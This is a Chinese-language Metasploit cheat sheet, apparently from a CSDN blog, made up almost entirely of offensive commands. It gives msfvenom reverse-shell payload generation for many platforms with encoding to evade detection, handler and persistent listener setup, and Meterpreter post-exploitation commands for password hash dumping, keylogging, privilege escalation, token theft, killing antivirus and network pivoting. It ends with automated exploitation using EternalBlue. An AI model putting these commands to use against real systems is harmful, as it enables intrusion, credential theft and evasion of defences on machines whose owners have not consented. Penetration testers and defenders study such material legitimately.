参考:https://longwaer.blog.csdn.net/article/details/122745903
– Exploit,攻击工具/代码
– Payload,攻击载荷
– Shellcode shell 代码
– Module,模块
– Listener,监听器
文章目录
初始化数据库
msfdb init #对msf数据库进行初始化
service postgresql start #监听5432端口 启动PostgreSQL数据库服务
service postgresql status #查看状态
msfconsole db_status 查看数据库联接情况
msfconsole db_rebuild_cache 建立数据库缓存
生成payload
msfvenom (攻击载荷生成和编码器)
主要参数:-p payload-e 编码方式-i 编码次数-b 在生成的程序中避免出现的值LHOST,LPORT 监听上线的主机IP和端口-f exe 生成EXE格式使用
msfvenom -l 可以查看可以利用payload
(失败了)
msfvenom -l | grep windows | grep x64 | grep tcp # 选择payload
#Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.59.130 lport=6666 -f elf -o myqf.elf
#Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
#Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
#PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
#ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
#JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
#WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
#python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
#Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port toConnect On> -f raw > shell.sh
#Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
实例:
msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=10.10.10.133 LPORT=4444 -f exe > abc.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.0.4 LPORT=443 -f exe > abc.exe
设置监听
set payload windows/x64/meterpreter/reverse_tcp #添加payload攻击载荷,这里根据生成可执行文件中的payload
set LHOST 10.10.10.128 #添加攻击机地址
show options #查看添加情况
set LPORT #添加攻击机端口 默认是4444,这根据你生成可执行文件中的端口来定
set RHOST #被攻击方地址 一般在正向连接中需要添加。
exploit && run #这两个命令都在可以执行上面的监听效果。
run -j #在后台运行
也可以在启动的时候监听
还有种比较快捷的建立监听的方式,在msf下直接执行:
msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_http; set lhost 127.0.0.1; set lport 1234; exploit - j; "
持久监听
msf6 > handler -H 192.168.48.146 -P 8888 -p linux/x86/meterpreter/reverse_tcp
高级选项
set PrependMigrate true 自动添加新进程
实例:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options
msf exploit(handler) > set LHOST 172.16.0.4
msf exploit(handler) > set ExitOnSession false set ExitOnSession false 让connection保持连接(即使一个连接退出,仍然保持listening状态)
msf exploit(handler) > exploit -j -z -j(计划任务下进行攻击,后台) -z(为持续监听)
,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。
msf exploit(handler) > jobs 查看后台攻击任务
msf exploit(handler) > kill <id> 停止某后台攻击任务
msf exploit(handler) > sessions -l (查看会话)
backgroup 放置后台
msf exploit(handler) > sessions 1 选择会话
msf exploit(handler) > sessions -k 1 结束会话
Ctrl+z 把会话放到后台
Ctrl+c 结束会话
Meterpreter后攻击
Meterpreter提供的功能包括反追踪、纯内存工作模式、系统 信息获取、密码哈希导出、文件上传下载、屏幕截取、键盘记
录、权限提升、跳板攻击等等。
参数+解析
meterpreter > background 放回后台
meterpreter > exit 关闭会话
meterpreter > help 帮助信息
meterpreter > Sysinfo 系统平台信息
meterpreter > screenshot 屏幕截取
meterpreter > shell 命令行shell (exit退出)
meterpreter > getlwd 查看本地目录
meterpreter > lcd 切换本地目录
meterpreter > getwd 查看目录
meterpreter > ls 查看文件目录列表
meterpreter > cd 切换目录
meterpreter > rm 删除文件
meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载文件
meterpreter > upload /var/www/wce.exe wce.exe 上传文件
meterpreter > search -d c: -f *.doc 搜索文件
meterpreter > execute -f cmd.exe -i 执行程序/命令
meterpreter > ps 查看进程
meterpreter > run post/windows/capture/keylog_recorder 键盘记录
meterpreter > getuid 查看当前用户权限
meterpreter > use priv 加载特权模块
meterpreter > getsystem 提升到SYSTEM权限
meterpreter > hashdump 导出密码散列
meterpreter > ps 查看高权限用户PID
meterpreter > steal_token <PID> 窃取令牌
meterpreter > rev2self 恢复原来的令牌
meterpreter > migrate pid 迁移进程
meterpreter > run killav 关闭杀毒软件
meterpreter > run getgui-e 启用远程桌面
meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP> 端口转发
meterpreter > run get_local_subnets 获取内网网段信息
meterpreter > run autoroute -s <内网网段> 创建自动路由
meterpreter > run autoroute -p 查看自动路由表
创建代理通道:
msf > use auxiliary/server/socks4a 设置socks4代理模块
msf auxiliary(socks4a) > show options
msf auxiliary(socks4a) > run
配置proxychains参数:
nano /etc/proxychains.conf 修改代理监听端口,和前面端口一致
quite_mode 设置成安静模式:去掉如下参数前面的注释
现对目标主机进行自动漏洞攻击
db_nmap + db_autopwn
项目地址 https://github.com/hahwul/metasploit-autopwn
复制到插件目录
cp db_autopwn.rb /opt/metasploit-framework/plugins
加载插件
load db_autopwn
使用说明
常用命令
db_autopwn -t -p -r db_autopwn -p -m exploit/windows/smb/ms17_010_eternalblue -e